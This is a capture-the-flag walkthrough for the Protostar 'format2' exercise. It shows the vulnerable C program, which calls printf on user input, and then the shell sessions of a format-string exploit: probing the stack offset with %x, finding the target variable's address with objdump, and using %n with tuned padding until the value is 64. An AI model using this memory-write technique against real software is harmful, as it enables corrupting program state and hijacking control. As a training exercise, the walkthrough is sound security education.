PROTOSTAR: FORMAT 2

SOURCE CODE

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
```

DEBUGGING STARTS

Firstly, lets find the padding. You can do this by trial and error procedure like me. Our goal is not only to change the **target** variable value but also to change it to specifically 64.

```
user@protostar:/opt/protostar/bin$ (python -c "print 'AAAA' + '%x.'*10") | ./format2
AAAA200.b7fd8420.bffff614.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
target is 0 :(
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$ (python -c "print 'AAAA' + '%x.'*5") | ./format2
AAAA200.b7fd8420.bffff614.41414141.252e7825.
target is 0 :(
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$
user@protostar:/opt/protostar/bin$ (python -c "print 'AAAA' + '%x.'*4") | ./format2
AAAA200.b7fd8420.bffff614.41414141.
target is 0 :(
user@protostar:/opt/protostar/bin$
```

We have found the padding now we will replace the “AAAA” with the address of the target variable.

Before replacing, lets find the address of the **target** variable first. We can use the objdump.

```
user@protostar:/opt/protostar/bin$ objdump -t format2 | grep "target"
080496e4 g     O .bss   00000004              target
user@protostar:/opt/protostar/bin$
```

Replaced the “AAAA” with the address of **target** variable and now we can start modifying the value at the address.

```
user@protostar:/opt/protostar/bin$ (python -c "print '\xe4\x96\x04\x08' + '%x.'*3 + '%x.'") | ./format2
䖄200.b7fd8420.bffff614.80496e4.
target is 0 :(
user@protostar:/opt/protostar/bin$
```

Use the **%n** to write number of bytes so far to the adjacent memory address, here the address being the **target** variable address. Also increase the width of the **%x** format specifier to increase the value and compare how much you need to increment

```
user@protostar:/opt/protostar/bin$ (python -c "print '\xe4\x96\x04\x08' + '%x.'*3 + '%n.'") | ./format2
䖄200.b7fd8420.bffff614..
target is 26 :(
user@protostar:/opt/protostar/bin$ (python -c "print '\xe4\x96\x04\x08' + '%10x.'*3 + '%n.'") | ./format2
䖄       200.  b7fd8420.  bffff614..
target is 37 :(
user@protostar:/opt/protostar/bin$ (python -c "print '\xe4\x96\x04\x08' + '%30x.'*3 + '%n.'") | ./format2
䖄                          200.                      b7fd8420.                      bffff614..
target is 97 :(
user@protostar:/opt/protostar/bin$ (python -c "print '\xe4\x96\x04\x08' + '%15x.'*3 + '%n.'") | ./format2
䖄            200.       b7fd8420.       bffff614..
target is 52 :(
user@protostar:/opt/protostar/bin$ (python -c "print '\xe4\x96\x04\x08' + '%18x.'*3 + '%n.'") | ./format2
䖄                200.          b7fd8420.          bffff614..
target is 61 :(
user@protostar:/opt/protostar/bin$ (python -c "print '\xe4\x96\x04\x08' + '%19x.'*3 + '%n.'") | ./format2
䖄                 200.           b7fd8420.           bffff614..
you have modified the target :)
user@protostar:/opt/protostar/bin$
```